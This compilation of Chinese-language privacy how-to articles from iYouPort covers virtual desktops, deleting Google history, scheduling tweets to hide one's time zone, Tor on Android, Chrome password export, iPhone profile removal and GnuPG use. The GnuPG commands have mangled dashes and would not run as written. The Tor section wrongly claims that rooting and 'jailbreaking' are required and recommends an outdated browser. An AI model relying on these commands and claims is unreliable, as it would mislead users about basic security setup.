此外，尝试在任何地方使用安全加密。即使您只是在本地网络的设备之间传输文件，也要使用一个提供加密的应用程序来保证传输的安全。这将保护您免受 FragAttacks 和其他潜在的未来威胁的影响，这些漏洞可能绕过您的Wi-Fi加密来监视您。

当然，VPN可以将您的所有流量通过加密连接进行路由，因此，如果您必须访问一个HTTP网站（或其他未加密的服务），并且您担心自己使用的网络，它可以为您提供额外的保护，防止 FragAttacks。

在这里看到《如何检查您的VPN连接是否实际加密》。

最后，如果您在做敏感的事，最好不要使用Wi-Fi，在这里看到：《为什么你不应该使用Wi-Fi》；《Wi-Fi是如何出卖你的？》。〇

How to Protect Your Wi-Fi From FragAttacks

原文

如何创建多个虚拟桌面，以分隔您的工作和生活 - iYouPort

自我保护措施-技术技巧以防身

关于整理的小技巧

「图」

「图」

多任务处理和信息过载并存，特别是当您在桌面上同时打开许多窗口、选项卡和应用程序时。完成实际工作可能很棘手。

但是 Windows、macOS 和 Chrome OS 实际上具有内置的工具可以消除这种拥塞，您甚至可能不知道它们的存在。

这些工具的名称因操作系统而异，但目的是相同的：让您将打开的窗口分散到几个虚拟工作区中。

例如，您可以为每个工作项目分配一个单独的空间，或者将私人和工作应用程序拆分为单独的桌面。

菜单栏、停靠栏、“开始”菜单、桌面快捷方式以及您使用的任何其他屏幕工具在这些虚拟空间中都保持一致，因此您可以轻松地进入所需的任何新程序获取文件，并且扩展了数字工作空间。

Windows：Multiple Desktops

在 Windows 中，Microsoft 将这些工作区称为 “Multiple Desktops”。要访问它，请单击搜索框右侧的任务栏上的 “任务视图” 按钮。或者，按键盘上的 Windows＋Tab 键；在触摸屏上，从左侧向内轻扫。

当您在左上角看到 “新建桌面” 按钮时，单击以创建新桌面。

使用生成的缩略图在当前打开的桌面之间切换，或使用 Windows

＋Tab＋Left 和 Windows＋Tab＋Right 键盘快捷键也一样。

「图」

「图」

要将应用程序和窗口移动到另一个虚拟桌面，只需在 “任务视图” 屏幕中单击并将它们拖到另一个桌面缩略图中即可。或者，在 “任务视图” 屏幕上右键单击某个应用程序，然后选择 “Move to”。

使用同一右键单击菜单，可以根据需要在每个桌面上复制应用程序。

“开始” 菜单和任务栏在每个虚拟桌面中都可用，但是您只会在任务栏上看到在特定工作区中打开的程序的图标。

同样，当您使用 Alt＋Tab 键盘快捷键在打开的应用程序之间循环时，只会看到与该特定桌面相关的程序。

macOS: Spaces

对于 macOS，需要使用 Apple 所谓的 Spaces。启动任务控制仪表板，您可以通过按 Ctrl＋Up 或用三或四根手指在MacBook触控板上向上滑动来访问它。

将光标移到顶部以查看您的桌面，然后单击右侧的加号图标创建一个新的桌面。要删除 Space，只需在任务控制中单击缩略图旁边的小十字。

您可以使用 Ctrl ＋向左键和 Ctrl ＋向右键、在触控板上三指或四指滑动，或者进入任务控制并单击顶部的相关缩略图，在空间之间移动。

“任务控制” 显示当前空间中打开的窗口，您可以通过单击并拖动将任何窗口移动到其他空间。

「图」

「图」

另外，在标准桌面视图中，可以将一个窗口拖动到屏幕的左边或右边，并在那里保持一秒钟，以跳转到相邻的 Space，并将窗口移动到那里。macOS允许您创建多达16个不同的空间，如果需要的话，每个

空间都可以有自己的桌面背景（可以从任何空间进入Apple、系统偏好设置，及桌面和屏保程序来实现这点）。

dock在每个 Space 中都可以使用，如果您选择一个在不同 Space 中打开的应用程序，macOS 会跳转到那里。

如果用 Cmd＋Tab 键盘快捷键循环浏览您打开的程序窗口，也会发生同样的情况。

要让一个应用程序总是在特定的 Space 中打开，点击并按住它在dock中的条目，然后选择 Options，就可以看到选项。

Chrome OS: Virtual Desks

在 Chrome OS 上，单独的工作空间被称为 Virtual Desks。要找到它们，需要敲击键盘上的显示窗口键 —— 它是一个矩形，旁边有几条线，应该在 Chromebook 上的5键上方。

点击 “New desk” 来创建一个新的桌面，点击缩略图以跳转到该桌面，或者点击任何缩略图旁边的小十字来删除该桌面。

要将打开的窗口移至其他桌面，请从按 “Show windows” 按钮时出现的概览屏幕中将其拖动。

启动该屏幕时，您会在当前桌面上看到所有打开的窗口和应用。

您还可以通过在键盘上按 Shift ＋ Search ＋ Left 或 Shift ＋ Search ＋ Right，将窗口移至其他桌面。

「图」

「图」

有更多的键盘快捷键可以更轻松地访问虚拟桌面：按住 Shift ＋ Search 并点击 Equals（“ ＝”）键以创建新桌面，或按住 Search 键并点击向左或向右箭头键可在桌面之间快速跳转。您还可以使用 Alt ＋ Tab 在所有桌面上的所有打开的窗口之间循环。

打开新应用程序会将其放置在当前桌面上，但是如果您选择已打开的应用程序 Chrome 操作系统会跳至相关桌面。〇

原文

如何删除您的 Google 搜索记录 - iYouPort

自我保护措施-技术技巧以防身

逃跑的最佳方法就是逃跑，而不是一边跑一边撒面包屑；谷歌等巨头究竟是什么鸟如今已经众所周知了，在变革成功之前您只能自己保护自己 —— 清除您在网上留下的数据面包屑。至少从谷歌开始

我们在前面讲述了搜索记录有多可怕。

Google 会跨多个应用和服务跟踪您的搜索活动。谷歌拥有多个互联网资产，如 YouTube，谷歌地图，Chrome 网络浏览器，谷歌 Play 商店等。所有这些都用于跟踪用户活动。

收集的数据就是 Google 的主要收入来源，因为广告客户会使用您的数据。Google 通过收集有关个人的数据并将这些信息出售给广告商来赚钱。还包括其他莫名其妙的数据中间商，你根本不知道是谁的家伙。

您的“搜索活动”就是您在任何 Google 产品中输入的字词和词组，用于在网络上查找内容。即使您使用谷歌地图，您的搜索历史记录 例如您搜索或访问过的所有餐馆，都会被 Google 跟踪到。详见我们仅仅使用历史记录实现的侵入性挖掘《"浏览历史记录曝光你的内心全景图"》

用户可以控制和删除搜索活动。如果您不希望使用您设备的其他人看到您在网络搜寻内容，那么您需要清理搜索记录。

请记住，此信息在所有已登录的设备中共享。

这意味着，如果您通过智能手机在Google.com上搜索了某些内容并在其他位置登录到同一个 Google 帐户，这些历史就会显示在其他设备上。例如，同样登录到同一 Google 帐户的家庭计算机也包含相同的搜索记录。它是实时的。

如何查看我过去的网页搜索记录？

要查看过去的搜索活动，请在网络浏览器中访问https://myactivity.google.com/privacyadvisor/search。

您不必使用 Chrome，但如果您想查看和管理 Google 搜索记录，则必须登录 Google。虽然我几乎只使用 Firefox，而 Chrome 则用于编程工作，但我的活动也是被 Google 记录的。

「图」

「图」

即便您没有登录 **Google** 帐户，您仍然会向 **Google** 提供数据，但您无法控制它。当您登录 Google 帐户（Gmail，YouTube，Google Analytics或其他帐户）时，您可以从浏览器中删除搜索记录。

如果您还没有登录 Google 帐户，请访问https://myactivity.google.com/privacyadvisor/search。从那里，您只能查看自己的 Google 活动—即在Google.com和上述其他媒体资源上的搜索。要查看仅限 Google 的活动，请选择“仅限 Google”。如果您想查看所有搜索活动（Google 正在监控并保存的东西），请选择左侧按钮选择“所有搜索活动”。

「图」

「图」

要删除所有搜索记录，请从活动页面开始，然后点击删除搜索活动按钮。您可以选择全部擦除或仅删除搜索历史记录的最后一小时。

这会删除您的活动数据，例如您搜索的字词以及您选择的链接。

请记住，这并不是消除您的在线行为所有痕迹的完整方式。要真正清理它，您必须确保清理所有Internet 临时文件。如果您登录网站进行购买或查看某些内容，那么该登录历史记录也会与您保存的密码一起保存在用户名下的 Windows 系统文件中。您还需要删除Google 时间线并调整隐私设置。

谷歌是个强大的数据黑洞，对于社交工程攻击者来说非常重要，最简单的详见《高级运算符辅助开源调查：巧用搜索引擎挖掘情报#OSINT》，如果您是一位不想被抓住把柄的社交工程师或开源调查

研究人士，那么最好使用单独的账户、单独设备，并及时清理足迹。

原文

如何发布定时推文：隐藏真实身份的小技巧之一 - iyouport

自我保护措施-技术技巧以防身

【2020年10月15日】即便您没有电脑，用手机就可以完成。

您的发帖时间和规律可能会暴露您的时区，与其他线索结合起来就将有助于揭露您的真实身份。

您肯定知道很多关于匿名操作所需要警惕的要点，比如浏览器指纹识别、IP地址、画布指纹、语言指纹 …… 等等。在下面看到详细说明。

- 《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》
- 一个综合手册《您在什么时候需要假名、匿名和公开在线身份？—在线创建和管理身份的思考方式》
- 专门讲述社交媒体安全操作《使用社交媒体时你必须注意什么？—— 更安全的抵抗》
- 隐藏身份时需要注意的诸多事项《角色扮演：行动者刚需》

但发布时间也是需要注意的部分。如果能打乱发布模式，对隐藏身份来说会很有好处。本文将介绍这件事怎么做。

虽然官方 Twitter 应用程序不允许您定时发布帖子，但还有另一种方法可以做到这点。

Hootsuite 和 Buffer 都可以帮您设定发布时间，但是如果您不想下载第三方应用程序或担心泄露 Twitter 凭据，则可以使用 Twitter 自己的工具。

这些工具可能不在 Twitter 移动应用程序中，但是还有其他方法可以在手机上访问它们以设置定时推文。

下面即将介绍的第一个工具比第二个工具容易些，但是第二个工具的确提供了更多的控制权。

方法 1：TweetDeck

「图」

TweetDeck 是个很强大的工具，在开源情报调查中尤其好用，您可以参见这里的介绍《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

与下面的第二种方法相比，使用 TweetDeck 的方法更快、更简单，但是有一些限制。不过对于大多数人来说，TweetDeck 是足够的。

而且它还可以帮助您定时发布。

步骤1：登录到 TweetDeck

「图」

如果您已经登陆，就可以直接转到 tweetdeck.twitter.com 来查看 TweetDeck 界面。如果您尚未登录，请在打开链接后点击“登录”，然后使用您的Twitter凭据登录。

步骤2：撰写推文

「图」

您必须先撰写一条推文，然后才能给它设定发布时间。点击左上角的新 tweet 图标开始。

或者，您可以点击您在任一列 Feeds 中看到的任何推文，然后点击“Reply to” 以开始新的推文。

您可以像在 Twitter 应用程序上一样编写推文，还可以添加照片、GIF或视频。如果您要回复另一条推文，则需要点击展开按钮（带有向外箭头的框）以查看 “添加图像或视频” 按钮和其他选项。

步骤3：定时您的推文

「图」

推文完成后，点击草稿下方的 “Schedule Tweet”，将显示一个日历。填入您想要的任何时间即可。

在日历中，您可以选择具体的时间和日期，包括日、月和年。

设置好日期和时间后，点击“Tweet at [time]” 即可。

步骤4：管理您的定时推文

「图」

您可以通过定时 tweets 面板访问所有定时的 tweet。

安排了一条推文后，您应该被直接带到那里，但您也可以通过点击侧边栏菜单中的时钟图标（您可能需要向上滚动才能找到，比如您设置了比较多的列之后）。如果没有找到，也许由于您没有添加它。

要想添加它，点击最左侧列的那个 “＋”，选择定时功能。

方法2：使用 Twitter for business

「图」

TweetDeck 当然是便捷且易于使用的，对于希望隐藏身份的活动家和异议人士来说非常有用；但是如果您想在推文中添加民意调查之类的东西、并进行广告宣传的话（比如您正在建立自己的品牌），那么通过 Twitter for Business 帐户定时推文会更好。

活动家做宣传的时候也完全可以使用它，您可能不知道，但是每个拥有 Twitter 帐户的人也都有一个商务帐户。除了定时推文之外，您还可以在其中检查分析数据、制作宣传活动，找出基于兴趣的定位等等。

但是在继续之前，您需要为 Twitter 提供借记卡或信用卡。没有它，新 tweet 按钮就不会出现。

- 《5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息》
- 《3种最佳虚拟借记卡服务：支付中隐藏真实身份》

步骤1：登录到 Twitter for Business

「图」

如果您已经登陆自己的账户，就可以直接转到 business.twitter.com。如果您尚未登录，请在打开链接后，点击右上角的三个破折号菜单图标，点击“登录”。

步骤2：转到Twitter广告页面

「图」

登录后您会回到 Twitter for Business 主页。

向下滚动到页面底部，然后在“*Start advertising on Twitter*”横幅中点击“Let’s go”。您也可以只访问 ads.twitter.com，它将带您到同一个地方。

「图」

步骤3：使用其桌面版

「图」

在 Twitter Ads 页面上您可以创建广告和宣传性的 tweet，但我们对此并不感兴趣。我们想查看分析和工具，但它们在移动网站上不可见。所以您应该使用桌面版本。

根据您使用的Web浏览器和操作系统，此过程将有所不同。如果您在iOS上使用 Safari（如下图所示），请点击左上方的“AA”，然后点击“Request Desktop Website”。

在适用于 Android 或 iOS 的 Chrome、Firefox、DuckDuckGo 中，点击省略号菜单图标，然后找到“Desktop site”或“Request Desktop Site”选项。

「图」

步骤4：撰写推文

「图」

要开始使用，请点击个人资料图片右上角的蓝色新 tweet 按钮。如果

您没有看到该按钮，则说明您尚未向该帐户添加借记卡或信用卡。

为此，请在个人资料图片旁边点击您的姓名或公司名称，选择 “添加新的付款方式”，然后按照说明添加卡。之后，应该会出现蓝色的新 tweet 按钮。

与官方的 Twitter 应用程序非常相似，您可以在推文中添加照片、视频、或民意调查。

您可以浏览 Twitter 上的媒体库（之前已上传的图像和视频）或智能手机的图库。

另外，请确保取消选中 “Promoted-only”，否则您的推文只会 “显示给您的广告活动中的目标用户”。

步骤5：定时

「图」

推文写好后请点击 “推文” 旁边蓝色按钮中的下拉图标。屏幕左侧将出现一个弹出窗口：点击 “时间表”。

接下来，点击显示推文发布日期和时间的按钮。随后将出现一个日历，您可以在其中更改年、月、日、小时和分钟。点击蓝色的 “Schedule” 即可。

步骤6：查看您的预定推文

「图」

一旦您定时了一条推文，就会在页面顶部显示一条通知，提示 “已成功安排推文”，但是如果您点击 “查看已预定的推文” 那样会看不到任何内容。即便如此您刚才的定时内容仍将按时发布。

您还可以从顶部导航栏中选择 “Creatives”，然后选择 “推文”，然后进行过滤以仅显示 “预定” 的推文。

所以要小心确保您的 tweet 没有错误且设置时间准确，因为您可能无法使用此方法进行任何更改。如果您担心这一点，也许 TweetDeck 是更好的选择。

就是这样。即便您没有电脑，也可以使用定时发送的功能，这样会更方便。

别忘了隐藏身份的各种关键技巧哦！在文章开头的关联文章中找到，这些方法要同时使用才能实现全面保护。〇

原文

如何在Android上设置和使用Tor - iyouport

自我保护措施-技术技巧以防身

【2020年3月27日存档】营造更安全的私密环境。

Tor 由全球各地的志愿者维护，其主要重点是隐私保护。

Tor 的目的是提供一个比标准Web上通常提供的环境更安全、更私密的环境，您肯定已经比较熟悉它了。

如果尚未熟悉 Tor，您可以在下面了解：

- 《当搬石头砸脚遇到“运动死亡”—— 洋葱头会让谁流泪？（一）》
- 《追求正义的人应该加强反侦技巧—— 洋葱头会让谁流泪（二）》
- 《真的安全吗？那么他们是怎么抓人的？—— 洋葱头会让谁流泪（三）》
- 《请关上身后的门，除非你想把刀递给敌人—— 洋葱头会让谁流泪（四）》
- 《如何在你的网页浏览器中使用Tor网络？》
- 《使用 Tor 保护自己时千万不要做这九件事！》

洋葱路由默认使用 Firefox 搜索引擎，并为希望在线购物而又不必担心恶意者会窃取自己私人信息或个人身份的消费者提供一种选择。

在更加需要在线安全的时代，已经有越来越多的人成为Tor的用户。

从个人计算机访问深网实际上非常简单。您只需要安装Tor浏览器或插件。

但是，使用 Android 设备怎么办呢？您可以下载 Google Play 商店提供的众多Tor应用程序中的任何一种。其中一些还提供了额外的VPN安全性。

但是，要获得完整的**Tor**体验，您需要下载并安装三个单独的应用。

您还需要对手机进行root操作和越狱才能启用第三方应用程序安装。

如何在**Android**上设置和使用**Tor**？

在进入Tor所需的应用之前，必须首先确保您的 Android 设备已root。

如果您熟悉 Windows 资源管理器，请将root视为设备的 C:\。

Android 默认不允许您访问此文件，以防止用户意外删除重要文件。但是要通过设备访问Tor，您需要完成这一步。

1、root 你的设备

如何root设备将由您拥有的设备型号决定。由于存在很多种设备型号，因此没有一种通用的方法可以将它们全部root。

最好的选择是对手机的型号以及如何root手机进行一些在线研究。

2、越狱

越狱是一个奇怪的词，听起来就像在做违法的事。其实不是这样。您要做的只是使您的设备能够从 Google Play 商店中找不到的来源安装应用。

该过程很简单，但是取决于您的Android设备正在运行的操作系统版本。

对于 Android Nougat 及更早版本：

- 进入手机设置，点击以打开 Security
- 切换到 “Unknown Sources” 选项，然后单击“确定”验证更改

对于 Android Oreo 及更高版本：

任何未通过 Google Play 商店下载的内容都会提示您确认。点击启用来自未知来源的安装就可以了。

The OrWall App

每当传输数据时，OrWall 都会强制您的Android设备上所有应用都使用Tor网络。你知道，这样会更加安全。

- 点击链接以下载APK文件并安装。
- 安装完成后，运行安装程序，然后重新启动设备。
- 备份设备后，您可以启动 OrWall 并手动确定哪些应用程序将通过Tor传输数据。

The OrBot App

OrBot 是从您的设备到Tor网络的桥梁。该应用程序也可以在 Google Play 商店中找到，但提供的链接直接来自开发者的网站。

下载并安装该应用程序后，请完成设置向导。仅在首次设置 OrBot 时才需要这样做。可以通过应用程序中的 “Power” 按钮完成所有后续激活。

The OrFox App

OrFox 是为 Orbot 创建的伙伴浏览器，也是由 Guardian Project 的杰出人士开发的。OrFox 是您在信息高速公路上行驶时要使用的车子。

除了依赖 OrBot 之外，该应用没有其他必要的设置说明了。您只需启动它，然后等待 “success” 提示，让您知道已连接成功。

OrFox 确实提供可以绕过大多数在线限制的好处。比如您的政府封锁了一些网站，或者您目前正在办公室和学校，那里禁止您访问某些网站，等等情况，您肯定知道什么时候需要它。

OrWeb 是用于Android的Tor浏览器的基本版本，但随着 OrFox 的发布它就过时了。

OrWeb 是OrBot下载和安装的默认浏览器，但它存在许多限制。请确保获得与OrBot配合使用的 OrFox，以免受到Tor浏览功能的限制。〇

原文

如何在Chrome中导出和删除已保存的密码 - iyouport

自我保护措施-技术技巧以防身

不要用浏览器保存密码，始终是重要的

谷歌Chrome浏览器的内置密码管理器不是最安全的，不推荐使用。如果您打算转用专用的密码管理器，以下是您如何从Chrome浏览器中安全导出和删除保存的密码的方法。

建议您使用专用的密码管理器来保存和同步您在各个设备上的所有用户名和密码。它们不仅更安全，而且还很方便，因为您可以为所有账户生成强密码。一旦设置好，您所要做的就是记住主密码到您选择的密码管理器。

📌 在这里看到如何挑选密码管理器。

所有流行的密码管理器，如 LastPass、1Password、Dashlane 和 Bitwarden 都可以让您从 Chrome 浏览器导入密码。您所要做的就是导入从Chrome浏览器生成的CSV文件。

从 **Chrome** 浏览器中导出保存的密码

首先从 Chrome 浏览器中导出所有保存的密码。要开始，打开电脑上的Chrome浏览器，在这里，从工具栏上点击您的用户图标，然后选择 “密码” 按钮；或者，您也可以在URL栏中输入 “chrome:*settings/passwords*”，然后按回车。 在这里，转到 “保存的密码” 部分，然后单击右侧的三个点菜单按钮。 现在，选择 “导出密码” 选项。 「图」 在弹出窗口中，单击 “导出密码” 按钮。 您的计算机可能会要求您使用与 *Windows 10*或 *Mac* 用户帐户关联的密码来验证您的身份。输入密码，然后单击 “确定” 按钮。 选择*CSV*文件的位置，然后单击 “保存” 按钮。 文件下载后，您会在电脑的文件系统中找到它（*Windows* 资源管理器或 *Finder*）。现在您可以轻松地将*CSV*文件导入到密码管理器中。 警告：您从*Chrome*浏览器下载的*CSV*文件将以未加密的纯文本格式包含您所有的用户名和密码。请确保在受信任的计算机上完成

此导出过程。 从 ***Chrome*** 浏览器中删除保存的密码 现在您已经导出了保存的密码，是时候从*Chrome*浏览器中删除它们了。有一个一键删除所有保存在*Chrome*浏览器中并使用谷歌账户在所有设备上同步的密码的方法。 要做到这一点，点击 *Chrome* 工具栏上的三点菜单按钮，然后选择 “设置” 选项。 从 “隐私和安全性” 部分，选择 “清除浏览数据” 选项。 转到 “高级” 选项卡，然后从 “时间范围” 下拉列表中选择 “所有时间” 选项。 向下滚动并检查 “密码和其他登录数据” 选项。点击 “清除数据” 按钮。 就是这么简单。现在所有本地保存在 *Chrome* 和您的 *Google* 帐户中的密码都将被删除。〇 *How to Export and Delete Saved Passwords in Chrome* 原文

如何在iPhone上删除不必要的配置文件和证书以保护您的隐私和安全 - iyouport

自我保护措施-技术技巧以防身

【2020年7月17日存档】步骤很简单，并且这一操作很重要。

当您想在 iPhone 上安装新工具或游戏时，可以直接去 App Store —— 但这并不是唯一可以从中获得应用程序的地方。

一些开发人员可以欺骗您安装某些软件而无需过多考虑。这可能会导致您的 iPhone 上运行恶意软件，而您希望尽快摆脱这些软件。

Facebook 滥用配置文件和根证书

「图」

在最近的新闻中，TechCrunch 发现 Facebook 正在滥用 Apple 的 Developer Enterprise Program，该平台使企业可以将未经审查的应用程序分发给员工并签署证书。

通常，此程序用于让工作人员在接受应用商店审查之前测试正在开发的应用程序，就像常规的开发者计划一样，它也可以用于为员工提供公司不希望外人使用的移动工具。比如谷歌的 Gbus app 就是后者的用例。

Facebook 实质上是为了吸引青少年和成年人安装用于数据收集VPN应用，以换取每月20美元的费用。它收集了近19万用户的数据。

用户被安装一个 Facebook Research 应用配置文件，其中包含通过其VPN隧道来传输TLS流量的权限，以及根CA证书，该证书基本上可以让他们收集进出 iPhone 的所有加密流量以了解发生的任何事，而不仅仅是 Facebook 相关的任务。它记录了任何应用程序的网络使用情况。

尽管 Apple 以其严格的 App Store 准则而闻名，但 Developer Enterprise Program 对使用证书许可几乎没有任何监督。至于根证书，Apple 在iOS 12上允许了更多受信任证书，同时也屏蔽了一些证书。

有很多公司滥用证书

「图」

Facebook 不是滥用证书许可的唯一罪魁祸首。

再举一个著名的例子，谷歌在做与 Facebook 完全同样的事，使用根CA证书来获取进出设备的所有数据，以进行深度包检测。

尽管“受信任”的根证书是最值得担心的问题，但还有普通证书和带有或不带有证书的供应配置文件。

未经批准的应用程序商店（例如TutuApp，Panda Helper，AppValley和TweakBox）以及Beta测试平台 BetaBound、uTest 和 Applause（Facebook 使用过）都需要配置文件安装，通常带证书（不一定是根证书）。只需点击Safari中的链接，即可轻松安装这些配置文件。

为什么安装某些配置文件和证书会有害

「图」

带有根证书的未经批准的应用程序可以从您的 iPhone 上窃取大量数据，但这并不是您唯一要担心的事。常规的CA证书和配置文件也可能造成同样多的损害。

当使用需要配置文件安装的应用程序时，即使您不知道安装的是什么，它们也可能会要求您提供付款详细信息或密码。

骇客和其他恶意攻击者可能会利用社交工程战术诱骗您安装包含证书的其他配置文件，其中可能包含用于完成攻击的有效载荷。

虽然使用VPN的人已经很多，但漏洞利用可以使用代理服务器获取您的个人数据，更改APN设置，以及使用中间人攻击。

并非所有配置文件和证书都是坏的

「图」

苹果使用自己的程序向开发人员和公共 Beta 测试人员分发 iOS Beta 软件，然后由他们安装配置文件和证书组合，可以肯定地说，如果您喜欢比其他人更快获得新功能，则可以继续使用这些 Beta。

还有诸如 FreedomPop 之类的服务，这些服务使用这些证书来调整 iPhone 上的APN蜂窝设置，以提供免费或低成本数据。Xfinity 和 LinkNYC 使用配置文件来帮助用户连接到公共 Wi-Fi 热点。

开发人员还可以在通过苹果公司严格的 App Store 分发审核程序之前，将他们正在开发的应用发布到网络中的少数设备上。

这些配置文件可以执行以下操作，例如 阻止iOS更新、阻止其他配置文件安装、阻止某些应用程序运行、甚至自动信任根证书。

然后还有诸如 Cydia Impactor 之类的工具，可用于为有用的应用程序（如 Kodi）侧载IPA文件，并且它们使用您自己的 Apple ID 帐户信息来授予应用运行权限。

您甚至可以使用 Apple Configurator 2 来创建自己的配置描述文件，以完成诸如在 iPhone 上自定义应用程序图标的操作而无需越狱，这甚至不需要签名证书。

如何检查您的iPhone根证书

「图」

不知道您是否在设备上下载了带有根证书或常规证书的配置文件？幸运的是，不仅可以轻松检查而且还可以将它们从 iPhone 中删除。

首先，要检查您是否有任何受信任的根证书，请转到 “设置”-」“一般”-」“关于”-」“证书信任设置”。

如果这里有任何内容，它们将显示在 “信任凭据库版本” 下。如果它们是绿色的，说明现在正在运行。

通过 Apple Configurator 或 Mobile Device Management 部署的根证书在这里自动得到信任。您可以将其关闭以禁用它，但不会删除它，因此您需要查看下一部分。

如何检查您的 iPhone 配置文件和其他证书

「图」

要查看设备上所有现有的配置文件和/或证书，请转到 “设置” 应用程序，点击 “一般”，然后向下滚动至 “Profile/s”。如果没有找到 “Profile/s”部分，则说明您尚未安装。如果看到它，请点击以查看它们。

如何永久删除不需要的配置文件和证书

「图」

在配置文件中，您可以查看签名和简短说明。在某些情况下，它可能根本不会被签名，例如当您使用 Apple Configurator 2 为自己构建自定义配置文件时。

如果点击 “更多详细信息”，就可以看到里面的内容。

在下图这个 TweakBox 的示例中，有一个常规的CA证书，标题为 “Apple Worldwide Developer Relations Certification Authority”。这不是根证书，但这仍然是不需要的东西。

要删除配置文件和证书，请返回到配置文件页面，然后点击 “删除配置文件”。

出现提示时输入密码，点击 “删除”，根证书将从您的设备中删除。这样做还将首先删除所有给定的权限，应清除配置文件中的所有设置更改，并将删除或强制已连接的应用程序退出运行。

对于企业级应用程序也是如此，选择配置文件，然后点击 “Delete App”。

删除配置文件和/或证书后，您的私人信息（例如网络活动和安全交易）将无法再被访问，那些组织也无法再诱使您重新安装它。〇

原文

如何在Linux上使用GnuPG进行加密 - iyouport

自我保护措施-技术技巧以防身

【2021年5月26日存档】想要在Linux上发送和接收安全的电子邮件吗？以下是使用GnuPG创建和管理加密电子邮件的简单方法 。

您是否曾经有一些敏感信息，如密码或服务器登录信息需要通过电子邮件发送给别人，但不知道如何安全地发送以避免信息落入坏人手中？

在这里，您将学习如何通过流行的gnupg 工具安全地传输用PGP加密的邮件和文件。

安装gnupg

「图」

如果您从来没有听说过PGP，请查看一个优秀的PGP入门和解释，其中包含了各种细节，为了简洁起见，我们在这里就不多说了。首先检查是否已经安装了gnupg. 在终端中, 运行命令:

```
gnupg—version
```

如果它显示了您当前正在运行的 gnupg 的版本（应为v2 ＋），那么说明您已经准备就绪，可以继续进行下一部分。否则，您可以通过运行以下命令安装gnupg：

```
sudo apt-get install gnupg2
```

完成后，检查一下确保已安装：

```
gnupg—version
```

如果正确安装了gnupg，它将显示版本号。

生成PGP密钥

「图」

使用非对称加密技术，您首先要生成一个PGP密钥对，它由公钥和私钥组成。公钥可以自由地分配给任何您想接收加密信息的人，而私钥则被保存在一个安全的地方，只有您自己知道。

然后，人们可以将信息加密到公钥，并发送加密的信息，然后可以使用私钥解密。要生成密钥对运行以下命令：

```
gpg—generate-key
```

这将从询问您的姓名和电子邮件地址开始，这不一定是您的真实姓名和电子邮件。然而，当选择加密信息的对象时，其他人会看到它，所以您应该确保它是别人很容易识别您的东西。

接下来输入字母O来确认姓名和电子邮件地址，然后会提示您输入一个所需的密码，可以是任何您想要的。每次您想解密发给您的信息时，都需要输入这个密码。

一旦确认了密码，它就会开始生成新的PGP密钥对，这可能需要几分钟的时间从您的电脑中收集足够的熵/随机数据。您可以离开终端几分钟做一些别的事，直到您看到一条消息说您的密钥已经成功生成。

导出您的公钥

「图」

现在您的密钥对已经生成了，您需要导出公钥来分发给其他人。在终端机上运行该命令：

```
gpg –a—export –e `myname@domain.com` 」 mykey.asc
```

确保将 “myname@domain.com” 改为您在生成PGP密钥时提供的电子邮件地址。现在您会在当前目录下看到一个名为 mykey.asc 的新文件。把这个文件发送给任何您希望能给您发送加密信息的人.

导入公钥

「图」

就像您现在可以和别人分享您的公钥一样，别人也会和您分享他们的公钥。当您收到别人的PGP公钥时，将文件保存到一个目录下，从同一个目录下访问终端，运行：

```
gpg—import key.asc
```

这将会把这个人的公共PGP密钥导入到gnupg中，允许您开始向他们发送加密信息。您可以在任何时候查看当前在gnupg中可用的所有PGP密钥列表：

```
gpg—list-keys
```

您将看到一堆看起来类似于下面的条目：

```
pub rsa3072 2020-01-30 [SC] [expires: 2022-01-29]

8978168C4E79A08553E5789CD42A4A4EC1468CFE

uid [ unknown] Matt Dizak 「matt.dizak@gmail.com」
```

您需要注意的唯一信息是条目的名称和电子邮件地址，其中说明了该密钥的所有者。当加密信息时，您只需要收件人的电子邮件地址即可。

通过PGP加密邮件

「图」

例如，您可能需要发送一些敏感信息给您的网页设计师，而您的PGP密钥已经被导入到您的邮箱地址 designer@domain.com。键入所需的信息，并将其保存到一个文本文件中，例如：message.txt。在终端机中，在 mail.txt 所在的目录下，运行命令：

```
gpg –e –a –r ‘designer@domain.com’ message.txt
```

快速解释上面的命令：

-e 表示您要加密数据。

-a 表示您希望以ASCII或纯文本格式输出。

-r 代表收件人，因此它的后面是您的设计师的电子邮件地址。

最后是您要加密的信息文件。

最有可能的是，这将要求您确认您确实希望加密到这个公钥，只需按Y键表示同意。一个新的 message.txt.asc 文件将被创建，如果您在文本编辑器中打开这个文件，会看到类似这样的内容：

```
-----BEGIN PGP MESSAGE-----

hQGMAzCBDnMltq9zAQv/ZHQ3tJq+feazdLa3thzQE2bhPx
+7WaPZcX7SdkoyuKvw

9faS7h9OwBjQ4vUyDKespSq3ZNf1pRgNoXijjs3MGEi5IsYxDgNWo1ZJ

.....

-----END PGP MESSAGE-----
```

这是新生成的加密形式的信息。您可以在电子邮件中附加这个文件，或者简单地将这个文件的内容复制并粘贴到电子邮件的正文内容中。

然后，收件人将能够使用他们的私钥在他们的终端上解密消息，确保任何人在传输过程中看到这条消息时无法查看纯文本版本。

加密二进制文件

「图」

以上介绍了如何加密文本信息，但二进制文件呢？工作原理大同小异，例如要加密一个名为 images.zip 的文件，在终端运行以下命令：

```
gpg -e -r 'designer@domain.com' images.zip
```

唯一不同的是去掉了-a选项，以及输出文件的名称。然后和之前一样，如果提示确认使用该公钥，只需按Y键表示同意。

一个名为 images.zip.gpg 的新文件将被创建，这是该压缩文件的加密版本，可以将其作为附件通过电子邮件发送给收件人。然后，他们可以使用他们的私钥解密ZIP文件。

解密信息

「图」

您还需要一种方法来解密发给您的信息. 请记住, 为了让别人能够给您发送加密的消息, 您必须先和他们分享您的公共PGP密钥. 您将得到一个加密的文本块，它看起来和加密消息差不多，比如这样：

```
-----BEGIN PGP MESSAGE-----

hQGMAzCBDnMltq9zAQv/ZHQ3tJq+feazdLa3thzQE2bhPx
+7WaPZcX7SdkoyuKvw

9faS7h9OwBjQ4vUyDKespSq3ZNf1pRgNoXijjs3MGEi5IsYxDgNWo1ZJ

.....

-----END PGP MESSAGE-----
```

将此文本块保存到诸如 message.asc 之类的文件中，并在终端中运行以下命令：

```
gpg -d message.asc 」 message.txt
```

系统会提示您输入密码，这个密码与您最初生成PGP密钥对时提供的密码相同。成功输入密码后，将创建一个mail.txt文件，其中包含纯文本的解密信息。这就是全部了!

恭喜，您的通信现在安全了

